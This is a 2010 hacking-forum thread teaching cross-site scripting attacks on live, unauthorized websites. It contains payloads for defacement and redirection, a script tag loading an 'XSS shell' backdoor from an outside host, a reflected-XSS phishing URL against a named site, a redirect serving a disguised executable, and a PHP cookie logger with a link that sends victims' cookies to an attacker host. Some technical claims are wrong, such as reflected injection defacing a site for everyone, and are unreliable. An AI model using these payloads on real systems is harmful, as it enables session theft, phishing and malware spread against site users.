

Forum:[Hack Forums](#)

Thread: [Hacking with XSS \(Cross site scripting\)](#)

VipVince - March 9, 2010, 12:20 pm

Hacking with XSS By VipVince.

Demonstration of a real life hack on a vulnerable website through XSS.

Ok so we want to do a bit of xss today, im going to demonstate a hack for you by the means of xss.

First to try and see if a site is vulnerable we use this little script

```
<script>alert("&quot;something")</script>
```

Include this script into any search box,guestbook or a feature which allows a user input to be submitted on a site, im going to hide the URL of the site as I am not finished with it and I dont want a skid hacking it and taking credid for it ;).

So lets try our script and hope its vulnerable

[img]http://i205.photobucket.com/albums/bb181/1-VIP-/screenshot1.gif[/img]

Bingo, Our text script as appeared in a box on your screen suggesting the site is vulnerable to XSS, Now from here on we can do several things firstly, Lets try a deface page...

For this simply add a script directing site to an uploaded daface page, this will embed it on the site suggesting its been hacked, (This is just a demonstration hence why my deface page simply says VipVince)

The script will look like this

```
<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">
```

And if succesfully executed will cause the website to look like this

[img]http://i205.photobucket.com/albums/bb181/1-VIP-/screenshot2.gif[/img]

Success, as you can see my very simple but still effective deface page has appeared on the site, this is basically what people would call a deface through xss.

I can also redirect it to another site, this is common amongst hackers to redirect a popular site to their site for traffic etc.

For this we add the script

```
<script>window.open( "https://hackforums.net/" )</script>  
= will redirect you to another website, in this case "hackforums.net"
```

I tested this and it did indeed take me to hackforums.net, We could add music or flash videos with these two scripts

Code:

```
<EMBED SRC="http://mywebsite.com/deface.swf"  
= will include a flash video
```

Code:

```
<embed src="deface.mid" hidden autoplay="true" loop="false" />  
= will include a music file in hidden mode
```

Im not going to deface this site but that does not mean my work is done, What i am going to do is set a cookie logger up on this site which will steal sessions etc, The reason I have blocked this sites URL is cause I know if a skid got access to the site with this info the site would be defaced,the skid would take credid and that would be it. I dont like to destroy however, tomorrow i am going to spend the day configuring a cookie logger and have a link encoded so when users think they are visiting the original site they are actually visiting my cookie logger and giving me their cookie. I am not a blackhat and no website will be harmed, no accounts will be snatched. I do this just for my own knowledge and when my knowledge is satisfied through exploration I will leave the site how it first appeared :).

I could also run an xss shell on the site, this is done simply by putting uploading my shell to a file hosting site and then adding the script onto the site via the search function, or any feature that allows user input to be processed. the script looks like this:

```
"><script src="http://free.7host05.com/vip//xssshell.asp"></script>
```

Running this script will basically execute on the site and give me pretty much complete control, I have taken a description regarding the features these powerful XSS Shells provide from the website I downloaded it off, see below for a detailed explanation...

WHAT IS XSS SHELL ?

XSS Shell is powerful a XSS backdoor and zombie manager. This concept first presented by XSS-Proxy (<http://xss-proxy.sourceforge.net/>). Normally in XSS attacks attacker has one shot, in XSS Shell you can interactively send requests and get responses from victim, you can backdoor the page.

You can steal basic auth, you can bypass IP restrictions in administration panels, you can DDoS some systems with a permanent XSS vulnerability etc. Attack possibilities are limited with ideas. Basically this tool demonstrates that you can do more with XSS.

FEATURES

XSS Shell has several features to gain whole access over victim. Also you can simply add your own commands.

Most of the features can enable or disabled from configuration or can be tweaked from source code.

Features:

Regenerating Pages

Keylogger

Mouse Logger (click points + current DOM)

Built-in Commands:

Get Keylogger Data

Get Current Page (Current rendered DOM / like screenshot)

Get Cookie

Execute supplied javaScript (eval)

Get Clipboard (IE only)

Get internal IP address (Firefox + JVM only)

Check victim's visited URL history

DDoS

Force to Crash victim's browser

This tut I hope gives you an idea, how many different attacks you can carry out via XSS and the high severity of them.

Taserz - March 9, 2010, 12:25 pm

Nice tut and great use a of pictures. (I have more in mine) Btw good job.

fuRzinel^ - March 9, 2010, 12:29 pm

Haha really simple and easy tutorial(nice pics too) , also you use paint to capture pics from ya desktop ?

VipVince - March 9, 2010, 12:30 pm

(Mar 9, 2010 01:29 PM)jolesole Wrote: [\[CITE\]](#) Haha really simple and easy tutorial(nice pics too) , also you use paint to capture pics from ya desktop ?

Yeah its simple and straight forward, not bothered about anything else tbh.

checkster - March 9, 2010, 12:34 pm

Ty for the tut man ?

itry - March 9, 2010, 12:34 pm

noice! il help if you want ? but shhhhhh lol

nice work eather way mon

Vorfin - March 9, 2010, 12:35 pm

YAY! A good XSS guide, but can I suggest you put "Cross Site Scripting" In you're title (I know I can, but it's rude =p) The search limit is 4 characters, so you can't search for XSS.

Also, if you do some looking, there is a vulnerable LAPD website (A lot of government sites are vulnerable to XSS) I e-mailed their web master weeks ago, explaining the problem, and how to fix it, I've had no response, and nothing has been done XD

VipVince - March 9, 2010, 12:37 pm

(Mar 9, 2010 01:35 PM)Vorfin Wrote: [\[CITE\]](#) YAY! A good XSS guide, but can I suggest you put "Cross Site Scripting" In you're title (I know I can, but it's rude =p) The search limit is 4 characters, so you can't search for XSS.

Thanks and no problem.Edited.?

TheDoctor - March 9, 2010, 12:38 pm

Little question: Did you actually deface the website or is it just visible to you coz you entered the script ?

VipVince - March 9, 2010, 12:43 pm

(Mar 9, 2010 01:38 PM)TheDoctor Wrote: [\[CITE\]](#) Little question: Did you actually deface the website or is it just visible to you coz you entered the script ?

I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob.

TheDoctor - March 9, 2010, 12:45 pm

(Mar 9, 2010 01:43 PM)VipVince Wrote: [\[CITE\]](#) I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob. But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

(Mar 9, 2010 01:43 PM)VipVince Wrote: [\[CITE\]](#) I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob. But that means, that if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

microsoldier - March 9, 2010, 12:49 pm

Very nice i will try it later thanks

VipVince - March 9, 2010, 12:50 pm

(Mar 9, 2010 01:45 PM)TheDoctor Wrote: [\[CITE\]](#) But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

(Mar 9, 2010 01:43 PM)VipVince Wrote: [\[CITE\]](#) I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob. But that means, that if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

Yes, but incase you didnt read what I said in my tut, I am not releasing the URL of the site publicly as I am not finished with the site, have further intentions with the site, and am not having a skiddie hi jack with his own deface page while I still have further plans for it. So to reiterate no body will be in visiting the site just yet as the URL is subject to my own discretion in accordance to my next steps eg cookie logger. When I am done, sure.

shuks - March 9, 2010, 12:50 pm

I have a question. Im not an xss expert but if you insert the following code into the search field...

correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?

Is there something I'm missing???

TheDoctor - March 9, 2010, 12:52 pm

(Mar 9, 2010 01:50 PM)VipVince Wrote: [\[CITE\]](#) Yes, but incase you didnt read what I said in my tut, I am not releasing the URL of the site publicly as I am not finished with the site, have further intentions with the site, and am not having a skiddie hi jack with his own deface page while I still have further plans for it. Not trying to find out the URL. I'm just surprised at how easy it is to deface a website using XSS. Haven't heard of it before and it sounded too simple.

Da Loser - March 9, 2010, 12:53 pm

Huh, Sorry if this is a retarded question, But with XXS don't you have to get the admin to go on the link and hijack his session to deface?

(Mar 9, 2010 01:50 PM)shuks Wrote: [\[CITE\]](#) I have a question. Im not an xss expert but if you insert the following code into the search field...

```
<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">
```

correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?

Is there something I'm missing???Yeah this is exactly what im thinking :| Textbox Injection isn't permanant. The idea of it is to add a Hex code to the url which auto fills searchbox with redirect code. then get the admin to visit your link then it loggs his session cookie.

shuks - March 9, 2010, 1:02 pm

Can the author of this thread please clarify...

someone wrote --> Quote:But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

and vince responded "yes".

However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.

Can the author of this thread please clarify...

itry - March 9, 2010, 1:04 pm

VipVince had to leave and wont be back online until tomorrow morning, than he will answer remaining questions sorry for the inconvenience

TheDoctor - March 9, 2010, 1:07 pm

(Mar 9, 2010 02:02 PM)shuks Wrote: [\[CITE\]](#) Can the author of this thread please clarify...

someone wrote -->
and vince responded "yes".

However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.

Can the author of this thread please clarify...Same thing I was thinking. Now I'm pretty puzzled.

Da Loser - March 9, 2010, 1:08 pm

(Mar 9, 2010 02:02 PM)shuks Wrote: [\[CITE\]](#) Can the author of this thread please clarify...

someone wrote -->
and vince responded "yes".

However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.

Can the author of this thread please clarify...your 100% right unless vince is talking about something none of us understand.

evil_genius - March 9, 2010, 1:12 pm

I hav exactly the same question how can it be so easy
i mean ,,, how can it be

it could be just a temporary inject ; u refreshed the browser nd "pew" ...

*(NO OFFENSE VIP BRO !)

CustomSync - March 9, 2010, 1:25 pm

(Mar 9, 2010 01:20 PM)VipVince Wrote: [\[CITE\]](#) actually visiting my cookie logger and giving me their cookie.

you sound hungry ?

evil_genius - March 10, 2010, 3:32 am

and we are still waiting for him

lorens13 - March 10, 2010, 3:38 am

Nice tutorial,thanks for sharing it^^

crack_that - March 10, 2010, 3:43 am

very nice tut man great job

VipVince - March 10, 2010, 4:11 am

Ok firstly there is 3 types of XSS attacks regarding defacing, they are persistent, non persistent and dom based, I will explain two.

Firstly persistent means an attacker can inject a script on the website and this is stored permanently on the server/webpage. it will appear permanently for everyone aka a deface. Non persistent is basically the opposite to this, it means it is just viewable for the attacker and no one else, it will disappear after a page refresh, For the people asking 'can it be that easy', if the site has a persistent xss security flaw then yes, its as easy as injecting the deface script once and that will then be stored

permanently on the server/page creating a legitimate deface.

The possibilities of what you can do with xss are endless, you can redirect to an uploaded cookie logger, you can redirect the site to a server sided Trojan uploaded on your webhosting server, I mean if you crypt a Trojan have it FUD and go onto a chatroom and give a encoded URL out along with a believable 'this is my video' or whatever false claim you want to make, imagine the amount of victims you could pick up, use your imagination, it extends a lot further than a simplistic deface.

shyf3 - March 10, 2010, 4:29 am

(Mar 9, 2010 01:50 PM)shuks Wrote: [\[CITE\]](#) I have a question. Im not an xss expert but if you insert the following code into the search field...

```
<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">
```

correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?

Is there something I'm missing???

There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)...

or php commands:

```
Code "<script>";//--></SCRIPT>">"><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b><br><u>$homedir</u></p>" ?>
```

The whole internet would get owned if it were really that easy...

Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly...

Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun.

Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example:Code

```
http://divxstage.net/search.php?s='<script>';//--></SCRIPT>'>'><SCRIPT
```

```
SRC=http://googles-on-us.com/shyf3/xss.js></SCRIPT>--&search.x=25&search.y=17&q=5
```

It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice...

Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the:

Code <SCRIPT SRC=http://yourhost.com/script.js></SCRIPT>as your persistent- then everyone will be required to login on that page, I usually post it on the 1st page and have it redirect to the 2nd page afterwards- no one ever catches it..

VipVince - March 10, 2010, 4:34 am

(Mar 10, 2010 05:29 AM)shyf3 Wrote: [\[CITE\]](#) There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the

transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)...

or php commands:

```
Code "<script>"/</script>"><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b><u>$homedir</u></p>" ?>
```

The whole internet would get owned if it were really that easy...

Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly...

Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun.

Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example:Code

```
http://divxstage.net/search.php?s='<script>"/</script>'><script>
```

```
SRC=http://googles-on-us.com/shyf3/xss.js></script>--&search.x=25&search.y=17&q=5
```

It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice...

Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the:

```
Code <script SRC=http://yourhost.com/script.js></script>as your persistent- then everyone will be required to login on that page, I usually post it on the 1st page and have it redirect to the 2nd page afterwards- no one ever catches it..
```

Yes, I refrained from talking about phishing as its a no go on the forums.

az360 - March 10, 2010, 4:35 am

thinks brother , this is a nice exploit xss , ^^

-mothered- - March 10, 2010, 4:49 am

Bookmarked! An excellent reference point and awesome tut :)

VipVince - March 10, 2010, 4:57 am

The trojan or file redirect works perfectly, just tested it the URL looks like this (I havent encoded it)

<http://www.vulnsite.com/search.php?q=purchase+agreement>

```
<script>document.location="http://www.filefactory.com/file/b091gb9/n/deshaker.exe";</script>
```

So people think at a glance they are being taken to a legit website but in fact its actually being redirected to my file upload server.

OG iFuck - March 10, 2010, 5:00 am

I want to learn this so bad so I'm gonna post here in advance saying great job and that way I can look back at this post tomorrow and read your TUT.

It's 5 a.m. so I should sleep now!

VipVince - March 10, 2010, 5:12 am

Xss shells can also be run on the vuln site.

Eg "><script src="http://free.7host05.com/vip//xssshell.asp"></script>

If i include this in the the search function on the site, it will execute on the vuln site, I will then have shell access and be able to run commands on the site.

Ps updated the tut.

evil_genius - March 12, 2010, 10:02 pm

you are the master ! ?

Rufflecakes - March 13, 2010, 2:31 am

Great tutorial. Helped me somewhat. Still learning. Thanks.

Dauntless? - March 14, 2010, 8:29 am

I'm kind of a n00b according to xss so I have some questions that may seem stupid to some of you, but I'd be glad if someone could answer them for me

1. How can you find out whether a site is vulnerable to persistent xss or not?
2. I have found a site vulnerable to xss but when I try to include a image all I get is a black rectangle beside the "print" text, and when i click on the location I get the result

http://www.mysite.se/"http://1.bp.blogspot.com/_eOThecFRKFQ/SxmozLLBg0I/AAAAAAAAFA Y/R6HCEWw_e9Q/s400/Lord

BTW great tutorial!?

Raca_Doser - March 14, 2010, 10:00 am

XSS is old and hardly useful anymore

Punisher - March 14, 2010, 10:03 am

(Mar 10, 2010 06:12 AM)VipVince Wrote: [\[CITE\]](#) Xss shells can also be run on the vuln site.

Eg "><script src="http://free.7host05.com/vip//xssshell.asp"></script>

If i include this in the the search function on the site, it will execute on the vuln site, I will then have shell access and be able to run commands on the site.

Ps updated the tut.

I set up the shell exactly as the video said to, yet it doesn't work.

The victims connect, but I can't control them or even do anything at all.

(Mar 14, 2010 10:00 AM)Raca_Doser Wrote: [\[CITE\]](#) XSS is old and hardly useful anymore
That's a stupid thing to say, it's also far from the truth.

BroTard - March 14, 2010, 4:43 pm

I've asked this before, bu no one has answered me. Say you do the deface. When someone else goes to the site search function, can they see it? Or is it just you?

Punisher - March 14, 2010, 5:54 pm

(Mar 14, 2010 04:43 PM)BroTard Wrote: [\[CITE\]](#) I've asked this before, bu no one has answered me. Say you do the deface. When someone else goes to the site search function, can they see it? Or is it just you?

If it's persistent XSS then yes (meaning it stays when you navigate away from the page)

Example would be if there was a list of the last searched results and it listed that you searched `<script>alert('haxed');</script>`.

Google it.

133720 - March 15, 2010, 9:08 am

awesome tut for new many thanks

Cycl0ne - March 16, 2010, 7:30 am

And what after Getting the Cookies..?

Loka~ - April 4, 2010, 5:21 am

I can't get my XSS Shell to work on any site that vuln to XSS, could a normal c99 shell work?

_[THUNDER] - April 25, 2010, 5:19 pm

i knew the site but won't even touch it ;)

EDIT :

PM me if u wanna check if i was lieng

Carb0n F1ber - August 28, 2010, 1:49 am

Wow, was searching for this tutorial all over, and just landed up here. I know the thread is quite old, but this thread deserves a bump.

Also, I just tested in the above URL. Looks like it is patched now. It replaces the word "script" with "removed"

PS at OP: The URL is available at 2 places in the picture you posted. Its in the thumbnail at the top. No use disclosing it now, since the site is already patched ?

RoyalNuDeS - August 28, 2010, 1:00 pm

Alright tutorial.

You should always check the source for incoming knowledge of you're insertions (ex. alert box saying Hi) if its displayed with the original chars you inserted, its usually vuln, if you see changes (encode usage) that means it wasn't successful, but you could always URL encode you're Javascript command and then try but the success rate isn't high.

Another thing is that if it isn't successful, you could always use `>'` to determine the script you want inserted.

noahfranklin - October 1, 2010, 7:59 pm

i cant able understand can do this www.mid-day.com was vunreable is XSS so can u able help me by step by step procedure for midday website sir ..

then i cant able for find vunreable column and link like id=" " so can u help me for the below site find and give the link www.annauniv.edu

,www.cahcet.in,www.sathyabama.ac.in,www.srmuniv.ac.in,www.vit.ac.in

HaxOr? - October 4, 2010, 2:44 am

Nice tut m8....Can anyone help me with XSS shell?

warskull - October 4, 2010, 8:15 am

Very good tut, thank's :)

But i need a little help whit xss shell :(

noahfranklin - October 31, 2010, 10:10 pm

```
<?php
$cookie = $_HTTP_GET_VARS["cookie"];
$date = date("l ds of F Y h:i:s A ");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt', 'a');
fwrite($file, "DATE:$date || USER AGENT: $user_agent || COOKIE :$cookie\n");
fclose($file);
```

```
echo'<b>Sorry ,this page is under construction<b/></br></br>Please click <a
href="http://www.mail.yahoo.com/">here</a>to go back to the previous page '
```

```
?>
```

```
<a onclick="document.location='
```

```
http://www.recovery2010.0fees.net/something.php?cookie='+escape\(document.cookie\);"hr
```

```
ef="#">click Here for Detail</a>
```

output is this

DATE:Thursday 2849 2010f October 2010 09:24:49 PM || USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 || COOKIE :

i didnt get any cookies can any help me in this pls

noahfranklin - November 4, 2010, 8:39 pm

<http://www.sjct.co.in> is vulnerable in XSS can any 1 check is and say?

and can any say this <http://www.cahcet.in> can bale to hack if possbile pls post the tut pls

BADG3R x - November 6, 2010, 2:58 am

Very nice tut man,thanks alot

110 - November 20, 2010, 12:49 pm

Very nice tutorial.

You said you don't want anyone to hack te site and take credit of it so you hided the name of the site.

But you can see it because you have that tab open.

You see it's FindForms.

Sorry man!

mandi - November 20, 2010, 2:31 pm

Nice one for beginners like me,going to book-mark it...

jamesgates1 - July 8, 2011, 7:32 am

Hey i need help i used a vuln scanner and it said that the page was vuln with cross scripting, i then

put in all the forms: `<script>alert("something")</script>` but it doesn't show the pop up.. is it coz im using google chrome?

Plz help, James.

Mustnabs - July 8, 2011, 8:26 am

Thanks for the tutorial man! I started XSS not too long ago and I'm hoping to master it like I did SQLi ;)

gooddevil - July 8, 2011, 8:28 am

Super Tut.. Really enjoyed it.... BTW .. can i get the shell n some host where they allow uploading thm???

Akash.92.Alien - September 22, 2011, 10:56 pm

Wow nice basic xss info... thanx mate

TheNeutron - September 23, 2011, 1:14 am

Looks great... Hope I learn this soon.

~xXx~ - September 23, 2011, 7:32 am

is there any way to find XSS on site ?

i have not get any site yet to be able for XSS ?

madhanmech - September 23, 2011, 11:04 am

very nice tut..bookmarking now...thanks mate...

very nice tut..bookmarking now...thanks mate...

Website_Hitincreaser - August 24, 2012, 11:02 am

can i just say

Code `<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">`would not make the index page / the default page into a image... It would just show a image.... in the post / get... but has soon has you refresh the page the image will go... The code will not "hack" or "deface" a website...

thedudor - November 18, 2012, 10:12 pm

thanks for the tutorial man good stuff xx

kayics - November 19, 2012, 12:51 am

Ty for the tut man will try Black Hat